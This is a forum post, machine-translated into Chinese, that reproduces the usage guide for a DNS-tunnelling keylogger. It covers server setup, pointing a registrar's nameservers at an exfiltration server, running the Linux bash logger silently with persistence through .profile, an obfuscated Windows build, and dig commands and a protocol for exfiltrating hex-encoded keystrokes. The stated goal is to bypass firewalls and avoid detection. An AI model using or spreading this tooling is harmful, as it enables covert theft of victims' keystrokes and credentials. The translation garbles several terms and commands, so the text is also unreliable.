DNS-Tunnel-Keylogger-使用DNS隧道/去滤线来传输击键的服务器和客户端

taibeihacker

Moderator
此后探索键盘记录器将遮盖服务器上的渗透击键。
这些工具在轻巧的渗透和持久性时表现出色,这些特性将阻止检测。它使用DNS Tunelling/Exflatration绕过防火墙并避免检测。

Server​

Setup​

服务器使用Python3。
要安装依赖项,请运行Python3 -M Pip install -r unigess.txt

Starting the Server​

要启动服务器,运行python3 main.py
USAGE: DNS脱毛服务器[-h] [-p端口] IP域
位置参数:
IP
领域
Options:
-h, - 赫尔普显示此帮助消息和退出
-p端口, - 默认情况下要侦听的端口端口,服务器在UDP端口53上听,使用-P标志指定其他端口。
IP是服务器的IP地址。它用于SOA和NS记录中,该记录允许其他Namesservers找到服务器。
域是要收听的域,这应该是服务器具有权威的域。

Registrar​

在寄存器上,您想将域的名称空间更改为自定义DNS。
将它们指向两个域NS1.Example.com和ns2.example.com。
DNS-Tunnel-Keylogger_1_CustomNS_Screenshot1.png

添加记录将命名空间域域的重点添加到您的Exfeltration Server的IP地址中。
这与设置胶水记录相同。

Client​

Linux​

Linux Keylogger是两个Bash脚本。 logger.sh脚本使用Connection.SH将击键发送到服务器。如果要手动发送数据(例如文件),则可以将数据管传输到Connection.sh脚本。它将自动建立连接并发送数据。

logger.sh​

#USAGE: LOGGER.SH [-options]域
#位置参数:
#domain:将数据发送到
#options:
#-P path3360给出了日志文件的路径以收听
#-L:用警告和错误打印以启动键盘记录器,运行命令./logger.sh [域]出口。这将默默地启动钥匙记录仪,并将发送任何输入的输入。末端的出口将导致外壳关闭出口。没有它,退出将使您回到未锁定的外壳中。删除/dev /null以显示错误消息。
-p选项将指定所有输入发送到的临时日志文件的位置。默认情况下,这是/tmp /。
-l选项将显示警告和错误。对于调试可能很有用。
logger.sh和connection.sh必须在相同的目录中才能工作。如果需要持久性,则可以将命令添加到.profile,以便在每个新的交互式外壳上启动。

connection.sh​

USAGE:命令[-options]域
位置参数:
域:将数据发送到
Options:
-N:在发送数据包

Windows​

之前要存储的字符数量

Build​

要构建键盘程序程序,请在Windows目录中运行MAKE。要以减小的尺寸和一定程度的混淆,请制定生产目标。这将为您创建构建目录,并输出到构建目录中名为logger.exe的文件。
制作生产域=example.com
您还可以选择通过调试目标来选择通过调试来构建程序。
制作debug域=example.com
对于这两个目标,您都需要指定服务器正在侦听的域。

Sending Test Requests​

您可以使用DIG将请求发送到Server:
dig @127.0.0.1 a.1.1.1.1.1.example.com a +short将连接请求发送到Localhost上的服务器。
dig @127.0.0.1 B.1.1.1.546865207569636B2062726F776E206666F782EB.EXAMPLE.COM
用服务器正在侦听的域替换example.com。

Protocol​

Starting a Connection​

从指示“连接”开始的记录请求。当服务器接收到它们时,它将使用一个假的非保留IP地址响应,其中最后一个八位位包包含客户端的ID。
以下是启动连接的格式: A.1.1.1。[SLD]。[TLD]。
服务器将以以下格式响应IP地址: 123.123.123。[ID]
并发连接不能超过254,并且客户从不认为“断开连接”。

Exfiltrating Data​

从b开始的记录请求,以b表示已发送到服务器的删除数据。
以下是在建立连接后发送数据的格式: b。[数据包#]。[id]。[data]。[sld]。[tld]。
服务器将以[代码] .123.123.123.123做出响应
ID是在连接建立的ID。数据作为在十六进制中编码的ASCII发送。
代码是下面描述的代码之一。

Response Codes​

200: OK​

如果客户端发送正常处理的请求,则服务器将使用代码200响应。

201: Malformed Record Requests​

如果客户端发送错误的记录请求,则服务器将使用代码201响应。

202: Non-Existant Connections​

如果客户端发送具有大于连接#的数据包,则服务器将使用代码202响应。

203: Out of Order Packets​

如果客户端发送带有不匹配预期的数据包ID的数据包,则服务器将使用代码203进行响应。客户端和服务器应将其数据包号重置为0。那么客户端可以使用新数据包ID重置数据包。

204 Reached Max Connection​

如果客户端尝试在达到最大值时创建连接,则服务器将使用代码204响应。

Dropped Packets​

客户应依靠回复作为收到数据包的确认。如果他们没有收到答复,则应恢复相同的有效载荷。

Side Notes​

Linux​

Log File​

包含用户输入的日志文件包含ASCII控件字符,例如Backspace,Delete和Carriage返回。如果您使用诸如CAT之类的内容打印内容,则应选择适当的选项以打印ASCII控制字符(例如-v for Cat),或在文本编辑器中打开它。

Non-Interactive Shells​

钥匙记录员依赖脚本,因此钥匙记录员不会在非相互作用的外壳中运行。

Windows​

Repeated Requests​

出于某种原因,Windows DNS_QUERY_A总是发送重复的请求。服务器会处理它,因为它会丢弃重复的数据包。
 
返回
上方